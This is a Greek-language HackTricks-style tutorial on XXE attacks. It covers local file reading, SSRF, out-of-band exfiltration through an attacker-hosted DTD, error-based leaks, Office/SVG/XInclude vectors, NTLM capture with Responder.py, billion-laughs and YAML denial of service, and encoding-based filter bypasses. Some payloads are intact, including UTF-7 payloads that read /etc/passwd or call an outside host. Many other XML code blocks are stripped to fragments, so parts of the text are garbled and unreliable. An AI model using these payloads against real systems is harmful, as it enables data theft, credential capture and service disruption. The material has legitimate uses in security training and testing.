# XXE - XEE - XML Εξωτερική Οντότητα
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! Άλλοι τρόποι υποστήριξης του HackTricks: * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
{% embed url="https://websec.nl/" %} ## Βασικά του XML Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για την αποθήκευση και μεταφορά δεδομένων, παρουσιάζοντας μια ευέλικτη δομή που επιτρέπει τη χρήση ετικετών με περιγραφικά ονόματα. Διαφέρει από το HTML μην είναι περιορισμένο σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX. * **Αναπαράσταση Δεδομένων μέσω Οντοτήτων**: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως `<` και `>`, που αντιστοιχούν σε `<` και `>` για να αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML. * **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς πρέπει να είναι δομημένα τα στοιχεία και ποιο περιεχόμενο μπορούν να περιέχουν, κυμαίνοντας από οποιοδήποτε είδος περιεχομένου έως συγκεκριμένα παιδικά στοιχεία. * **Ορισμός Κανονισμού Τύπου Εγγράφου (DTD)**: Οι DTD είναι κρίσιμοι στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορεί να είναι εσωτερικοί, εξωτερικοί ή συνδυασμένοι, καθοδηγώντας τον τρόπο μορφοποίησης και επικύρωσης των εγγράφων. * **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων μέσα σε ένα DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, οριζόμενες με ένα URL, προκαλούν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο των επιθέσεων Εξωτερικών Οντοτήτων XML (XXE), οι οποίες εκμεταλλεύονται τον τρόπο με τον οποίο οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: ` ]>` * **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή αιτήσεων HTTP σε έναν ελεγχόμενο τομέα, για την επιβεβαίωση της ευπάθειας. * ` ]>` * ` ]>` ## Κύριες επιθέσεις [**Οι περισσότερες από αυτές τις επιθέσεις δοκιμάστηκαν χρησιμοποιώντας τα εκπληκτικά εργαστήρια XEE της Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) ### Νέο τεστ Οντότητας Σε αυτήν την επίθεση θα δοκιμάσω αν μια απλή νέα δήλωση ΟΝΤΟΤΗΤΑΣ λειτουργεί ```xml ]> &toreplace; 1 ``` ![](<../.gitbook/assets/image (867).png>) ### Διάβασμα αρχείου Ας προσπαθήσουμε να διαβάσουμε το `/etc/passwd` με διαφορετικούς τρόπους. Για τα Windows μπορείτε να δοκιμάσετε να διαβάσετε: `C:\windows\system32\drivers\etc\hosts` Σε αυτήν την πρώτη περίπτωση παρατηρήστε ότι το SYSTEM "_\*\*file:///\*\*etc/passwd_" θα λειτουργήσει επίσης. ```xml ]> &example; ``` ![](<../.gitbook/assets/image (83).png>) Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου εάν ο web server χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων της Portswiggers) ```xml ]> &example; ``` Σε αυτήν την τρίτη περίπτωση παρατηρούμε ότι δηλώνουμε το `Element stockCheck` ως ANY ```xml ]> &file; 1 ``` ![](<../.gitbook/assets/image (750).png>) ### Κατάλογος καταχώρισης Σε εφαρμογές βασισμένες σε **Java**, ενδέχεται να είναι δυνατή η **καταχώριση των περιεχομένων ενός καταλόγου** μέσω XXE με ένα φορτίο όπως (απλά ζητώντας τον κατάλογο αντί του αρχείου): ```xml ]>&xxe; ]>&xxe; ``` ### SSRF Ένα XXE θα μπορούσε να χρησιμοποιηθεί για να καταχραστεί ένα SSRF μέσα σε ένα cloud ```xml ]> &xxe;1 ``` ### Τυφλή SSRF Χρησιμοποιώντας τη **προηγούμενα σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να εμφανίσει την ευπάθειά του. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **δεν επιτρέπονται τα XML entities**, σε αυτήν την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **XML παραμετρικά entities**: ```xml %xxe; ]> 3;1 ``` ### "Τυφλή" SSRF - Εξορύξτε δεδομένα εκτός ζώνης **Σε αυτήν την περίπτωση θα κάνουμε τον διακομιστή να φορτώσει ένα νέο DTD με ένα κακόβουλο φορτίο που θα στείλει το περιεχόμενο ενός αρχείου μέσω αιτήματος HTTP (**για πολλαπλές γραμμές αρχείων μπορείτε να δοκιμάσετε να το εξορύξετε μέσω** _**ftp://**_ **χρησιμοποιώντας αυτόν τον βασικό διακομιστή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται στο** [**εργαστήριο της Portswigger εδώ**](https://portswigger.net/web-security/xxe/blind)**.** Στο κακόβουλο DTD που δίνεται, πραγματοποιούνται μια σειρά από βήματα για την εξαγωγή δεδομένων: ### Παράδειγμα Κακόβουλου DTD: ```xml "> %eval; %exfiltrate; ``` Τα βήματα που εκτελούνται από αυτό το DTD περιλαμβάνουν: 1. **Ορισμός Οντοτήτων Παραμέτρων:** * Δημιουργείται μια οντότητα παραμέτρου XML, `%file`, η οποία διαβάζει το περιεχόμενο του αρχείου `/etc/hostname`. * Δημιουργείται μια άλλη οντότητα παραμέτρου XML, `%eval`. Δηλώνει δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ορίζεται να κάνει μια αίτηση HTTP στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` στη συμβολοσειρά ερωτήματος του URL. 2. **Εκτέλεση των Οντοτήτων:** * Η οντότητα `%eval` χρησιμοποιείται, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`. * Η οντότητα `%exfiltrate` χρησιμοποιείται στη συνέχεια, ενεργοποιώντας μια αίτηση HTTP προς το συγκεκριμένο URL με το περιεχόμενο του αρχείου. Ο επιτιθέμενος φιλοξενεί αυτό το κακόβουλο DTD σε έναν διακομιστή υπό τον έλεγχό του, συνήθως σε ένα URL όπως `http://web-attacker.com/malicious.dtd`. **Φορτίο XXE:** Για να εκμεταλλευτεί μια ευπαθή εφαρμογή, ο επιτιθέμενος στέλνει ένα φορτίο XXE: ```xml %xxe;]> 3;1 ``` ### Βασισμένο σε Σφάλματα (Εξωτερικό DTD) **Σε αυτήν την περίπτωση θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα εμφανίσει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό ισχύει μόνο αν μπορείτε να δείτε μηνύματα σφαλμάτων).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind) Ένα μήνυμα σφάλματος ανάλυσης XML, αποκαλύπτοντας το περιεχόμενο του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Ορισμό Τύπου Εγγράφου (DTD). Αυτό επιτυγχάνεται μέσω των ακόλουθων βημάτων: 1. Ορίζεται ένα όνομα παραμέτρου XML με το όνομα `file`, το οποίο περιέχει το περιεχόμενο του αρχείου `/etc/passwd`. 2. Ορίζεται ένα όνομα παραμέτρου XML με το όνομα `eval`, το οποίο ενσωματώνει μια δυναμική δήλωση για μια άλλη παράμετρο XML με το όνομα `error`. Αυτή η παράμετρος `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα μη υπαρκτό αρχείο, ενσωματώνοντας το περιεχόμενο της παραμέτρου `file` ως όνομά της. 3. Η παράμετρος `eval` καλείται, οδηγώντας στη δυναμική δήλωση της παραμέτρου `error`. 4. Η κλήση της παραμέτρου `error` οδηγεί σε μια προσπάθεια φόρτωσης ενός μη υπαρκτού αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει το περιεχόμενο του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου. Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το ακόλουθο XML: ```xml %xxe;]> 3;1 ``` ### **Βασισμένο σε Σφάλματα (σύστημα DTD)** Λοιπόν, τι συμβαίνει με τις τυφλές ευπάθειες XXE όταν **αποκλείονται οι αλληλεπιδράσεις εκτός ζώνης** (δεν είναι διαθέσιμες εξωτερικές συνδέσεις);. Μια κενότητα στην προδιαγραφή της γλώσσας XML μπορεί να **αποκαλύψει ευαίσθητα δεδομένα μέσω μηνυμάτων σφαλμάτων όταν η DTD ενός εγγράφου ανακατεύει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το θέμα επιτρέπει την εσωτερική επανορισμό των οντοτήτων που έχουν δηλωθεί εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την επανορισμό μιας οντότητας παραμέτρου XML, που αρχικά έχει δηλωθεί σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι συνδέσεις εκτός ζώνης αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD για να πραγματοποιήσουν την επίθεση, με στόχο την πρόκληση ενός σφάλματος ανάλυσης για την αποκάλυψη ευαίσθητων πληροφοριών. Ας υποθέσουμε ένα σενάριο όπου το σύστημα αρχείων του διακομιστή περιέχει ένα αρχείο DTD στο `/usr/local/app/schema.dtd`, που ορίζει μια οντότητα με το όνομα `custom_entity`. Ένας επιτιθέμενος μπορεί να προκαλέσει ένα σφάλμα ανάλυσης XML αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd`, υποβάλλοντας ένα υβριδικό DTD ως εξής: ```xml "> %eval; %error; '> %local_dtd; ]> ``` Τα παρακάτω βήματα εκτελούνται από αυτό το DTD: * Ο ορισμός ενός XML παραμετρικού ονόματος οντότητας με το όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή. * Μια επανορισμός συμβαίνει για την XML παραμετρική οντότητα `custom_entity`, η οποία αρχικά ορίζεται στο εξωτερικό DTD, για να ενθυλακώσει ένα [εκμεταλλευόμενο XXE exploit βασισμένο σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επανορισμός σχεδιάζεται να προκαλέσει ένα σφάλμα ανάλυσης, αποκαλύπτοντας το περιεχόμενο του αρχείου `/etc/passwd`. * Χρησιμοποιώντας την οντότητα `local_dtd`, το εξωτερικό DTD εμπλέκεται, περικλείοντας τη νεοορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που στοχεύει το exploit. **Πραγματικό παράδειγμα:** Συστήματα που χρησιμοποιούν το περιβάλλον εργασίας GNOME συχνά έχουν ένα DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`. ```xml "> %eval; %error; '> %local_dtd; ]> 3;1 ``` ![](<../.gitbook/assets/image (622).png>) Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **ψάχνοντας μερικά προεπιλεγμένα DTDs**, ή **ανακτώντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα στα συστήματα και **ελέγχοντας** αν υπάρχει κάποιο από αυτά: ```xml %local_dtd; ]> ``` Για περισσότερες πληροφορίες ελέγξτε [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) ### Εύρεση DTDs μέσα στο σύστημα Στο ακόλουθο εκπληκτικό αποθετήριο στο Github μπορείτε να βρείτε **διαδρομές DTDs που μπορεί να υπάρχουν στο σύστημα**: {% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο από το ίδιο αποθετήριο για να **σαρώσετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του αποθετηρίου στο Github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς. ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar Scanning TAR file /tmp/dadocker.tar [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd Testing 0 entities : [] [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd Testing 0 entities : [] ``` ### XXE μέσω Αναλυτών Office Open XML Για μια πιο λεπτομερή εξήγηση αυτής της επίθεσης, **ελέγξτε τη δεύτερη ενότητα του** [**αυτού του εκπληκτικού άρθρου**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **από τη Detectify**. Η δυνατότητα **ανέβασμας εγγράφων Microsoft Office προσφέρεται από πολλές web εφαρμογές**, οι οποίες στη συνέχεια προχωρούν στην εξαγωγή συγκεκριμένων λεπτομερειών από αυτά τα έγγραφα. Για παράδειγμα, μια web εφαρμογή μπορεί να επιτρέπει στους χρήστες να εισάγουν δεδομένα ανεβάζοντας ένα φύλλο εργασίας μορφής XLSX. Προκειμένου ο αναλυτής να εξάγει τα δεδομένα από το φύλλο εργασίας, αναπόφευκτα θα χρειαστεί να αναλύσει τουλάχιστον ένα αρχείο XML. Για να δοκιμάσετε αυτήν την ευπάθεια, είναι απαραίτητο να δημιουργήσετε ένα **αρχείο Microsoft Office που περιέχει ένα φορτίο XXE**. Το πρώτο βήμα είναι να δημιουργήσετε έναν κενό κατάλογο στον οποίο το έγγραφο μπορεί να αποσυμπιεστεί. Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στη διαδρομή `./unzipped/word/document.xml` πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό φορτίο XXE, συχνά ξεκινώντας με ένα αίτημα HTTP. Οι τροποποιημένες γραμμές XML πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικατασταθεί ο URL με έναν URL που μπορεί να παρακολουθηθεί για αιτήσεις. Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο αρχείο poc.docx. Από τον προηγουμένως δημιουργημένο κατάλογο "unzipped", πρέπει να εκτελεστεί η παρακάτω εντολή: Τώρα, το δημιουργημένο αρχείο μπορεί να ανέβει στην ενδεχομένως ευάλωτη web εφαρμογή, και κάποιος μπορεί να ελπίζει για ένα αίτημα να εμφανιστεί στα αρχεία καταγραφής του Burp Collaborator. ### Πρωτόκολλο Jar Το πρωτόκολλο **jar** είναι προσβάσιμο αποκλειστικά μέσα σε **εφαρμογές Java**. Σχεδιάστηκε για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός αρχείου **PKZIP** (π.χ., `.zip`, `.jar`, κλπ.), εξυπηρετώντας τόσο τοπικά όσο και απομακρυσμένα αρχεία. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` {% hint style="danger" %} Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση του XXE μέσω αρχείων συστήματος DTD.** Ελέγξτε [αυτή την ενότητα για να μάθετε πως να καταχρηστείτε αρχεία συστήματος DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd). {% endhint %} Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει τα ακόλουθα βήματα: 1. Γίνεται ένα αίτημα HTTP για τον λήψη του αρχείου zip από μια συγκεκριμένη τοποθεσία, όπως `https://download.website.com/archive.zip`. 2. Η απάντηση HTTP που περιέχει το αρχείο αποθηκεύεται προσωρινά στο σύστημα, συνήθως σε τοποθεσία όπως `/tmp/...`. 3. Στη συνέχεια εξάγεται το αρχείο για να έχει πρόσβαση στο περιεχόμενό του. 4. Διαβάζεται το συγκεκριμένο αρχείο μέσα στο αρχείο, `file.zip`. 5. Μετά τη λειτουργία, τυχόν προσωρινά δημιουργημένα αρχεία κατά τη διάρκεια αυτής της διαδικασίας διαγράφονται. Μια ενδιαφέρουσα τεχνική για να διακόψετε αυτήν τη διαδικασία στο δεύτερο βήμα περιλαμβάνει τη διατήρηση της σύνδεσης του διακομιστή ανοιχτή για αόριστο χρονικό διάστημα κατά την παροχή του αρχείου αρχείου. Εργαλεία που είναι διαθέσιμα σε [αυτό το αποθετήριο](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) μπορούν να χρησιμοποιηθούν για αυτόν τον σκοπό, συμπεριλαμβανομένου ενός διακομιστή Python (`slow_http_server.py`) και ενός διακομιστή Java (`slowserver.jar`). ```xml ]> &xxe; ``` {% hint style="danger" %} Η εγγραφή αρχείων σε έναν προσωρινό κατάλογο μπορεί να βοηθήσει στην **επιδείνωση μιας άλλης ευπάθειας που σχετίζεται με μια διάβαση διαδρομής** (όπως η τοπική συμπερίληψη αρχείου, ενσωμάτωση προτύπου, XSLT RCE, απεικειοποίηση, κλπ). {% endhint %} ### XSS ```xml script]]>alert(1)/script]]> ``` ### DoS #### Επίθεση Billion Laugh ```xml ]> &a4; ``` #### Επίθεση Yaml ```xml a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` #### Επίθεση Quadratic Blowup ![](<../.gitbook/assets/image (524).png>) #### Απόκτηση NTML Σε υπολογιστές με λειτουργικό σύστημα Windows είναι δυνατή η απόκτηση του hash NTML του χρήστη του web server με την ρύθμιση ενός χειριστή responder.py: ```bash Responder.py -I eth0 -v ``` και με την αποστολή του παρακάτω αιτήματος ```xml ]> &example; ``` ## Κρυμμένες Επιφάνειες XXE ### XInclude Κατά την ενσωμάτωση δεδομένων πελάτη σε εγγράφους XML στην πλευρά του διακομιστή, όπως αυτούς σε αιτήσεις SOAP στο backend, ο άμεσος έλεγχος της δομής XML συχνά περιορίζεται, δυσχεραίνοντας τις παραδοσιακές επιθέσεις XXE λόγω περιορισμών στην τροποποίηση του στοιχείου `DOCTYPE`. Ωστόσο, μια επίθεση `XInclude` παρέχει μια λύση επιτρέποντας την εισαγωγή εξωτερικών οντοτήτων εντός οποιουδήποτε στοιχείου δεδομένων του εγγράφου XML. Αυτή η μέθοδος είναι αποτελεσματική ακόμα και όταν μόνο ένα τμήμα των δεδομένων εντός ενός εγγράφου XML που δημιουργήθηκε από τον διακομιστή μπορεί να ελεγχθεί. Για την εκτέλεση μιας επίθεσης `XInclude`, πρέπει να δηλωθεί το namespace του `XInclude` και να καθοριστεί η διαδρομή του αρχείου για την επιθυμητή εξωτερική οντότητα. Παρακάτω παρουσιάζεται ένα συνοπτικό παράδειγμα πώς μια τέτοια επίθεση μπορεί να διαμορφωθεί: ```xml productId=&storeId=1 ``` Ελέγξτε το [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες! ### SVG - Μεταφόρτωση Αρχείου Τα αρχεία που μεταφορτώνονται από χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο με τον οποίο χειρίζονται τα αρχεία XML ή αρχεία που περιέχουν XML. Δημοφιλής μορφές αρχείων όπως εγγράφα (DOCX) και εικόνες (SVG) βασίζονται στο XML. Όταν οι χρήστες **μεταφορτώνουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται στον διακομιστή. Ακόμα και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνων του διακομιστή ενδέχεται να υποστηρίζει επίσης εικόνες SVG**. Το SVG, καθώς είναι μια μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για την υποβολή κακόβουλων εικόνων SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity). Ένα παράδειγμα τέτοιας εκμετάλλευσης παρουσιάζεται παρακάτω, όπου μια κακόβουλη εικόνα SVG προσπαθεί να διαβάσει αρχεία συστήματος: ```xml ``` Ένας άλλος τρόπος περιλαμβάνει την προσπάθεια να **εκτελέσετε εντολές** μέσω του PHP "expect" wrapper: ```xml ``` Και στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για να εκτελέσει επιθέσεις που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για αξιόπιστο έλεγχο εισόδου και μέτρα ασφαλείας. Ελέγξτε το [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες! **Σημείωση: Η πρώτη γραμμή του αρχείου που διαβάζετε ή το αποτέλεσμα της εκτέλεσης θα εμφανιστεί ΜΕΣΑ στη δημιουργημένη εικόνα. Έτσι, πρέπει να μπορείτε να έχετε πρόσβαση στην εικόνα που δημιούργησε το SVG.** ### **PDF - Μεταφόρτωση αρχείου** Διαβάστε την παρακάτω ανάρτηση για **να μάθετε πώς να εκμεταλλευτείτε ένα XXE μεταφορτώνοντας ένα αρχείο PDF**: {% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} [pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) {% endcontent-ref %} ### Content-Type: Από x-www-urlencoded σε XML Αν ένα αίτημα POST δέχεται τα δεδομένα σε μορφή XML, μπορείτε να δοκιμάσετε να εκμεταλλευτείτε ένα XXE σε αυτό το αίτημα. Για παράδειγμα, αν ένα κανονικό αίτημα περιέχει τα ακόλουθα: ```xml POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar ``` Τότε μπορείτε να υποβάλετε το ακόλουθο αίτημα, με τον ίδιο ακριβώς τρόπο: ```xml POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 bar ``` ### Τύπος Περιεχομένου: Από JSON σε XEE Για να αλλάξετε το αίτημα μπορείτε να χρησιμοποιήσετε μια επέκταση Burp με το όνομα "**Content Type Converter**". [Εδώ](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) μπορείτε να βρείτε αυτό το παράδειγμα: ```xml Content-Type: application/json;charset=UTF-8 {"root": {"root": { "firstName": "Avinash", "lastName": "", "country": "United States", "city": "ddd", "postalCode": "ddd" }}} ``` ```xml Content-Type: application/xml;charset=UTF-8 ]> &xxe; United States ddd ddd ``` Μια άλλη παράδειγμα μπορεί να βρεθεί [εδώ](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2). ## WAF & Παρακάμψεις Προστασιών ### Base64 ```xml %init; ]> ``` Αυτό λειτουργεί μόνο εάν ο XML διακομιστής δέχεται το πρωτόκολλο `data://`. ### UTF-7 Μπορείτε να χρησιμοποιήσετε την \[**"Συνταγή Κωδικοποίησης**" του cyberchef εδώ ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) μετατροπή σε UTF-7. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- ``` ```xml +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 ``` ### Ανάκληση Αρχείου:/ Παράκαμψη Πρωτοκόλλου Εάν η ιστοσελίδα χρησιμοποιεί PHP, αντί να χρησιμοποιείτε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers** `php://filter/convert.base64-encode/resource=` για να **έχετε πρόσβαση σε εσωτερικά αρχεία**. Εάν η ιστοσελίδα χρησιμοποιεί Java μπορείτε να ελέγξετε το [**πρωτόκολλο jar**](xxe-xee-xml-external-entity.md#jar-protocol). ### Οντότητες HTML Κόλπος από [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ Μπορείτε να δημιουργήσετε μια **οντότητα μέσα σε μια οντότητα** κωδικοποιώντας τη με **οντότητες html** και στη συνέχεια να την καλέσετε για να **φορτώσετε ένα dtd**.\ Σημειώστε ότι οι **Οντότητες HTML** που χρησιμοποιούνται πρέπει να είναι **αριθμητικές** (όπως \[σε αυτό το παράδειγμα]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)). ```xml %a;%dtd;]> &exfil; ``` Παράδειγμα DTD: ```xml "> %abt; %exfil; ``` ## PHP Περιτυπωτές ### Base64 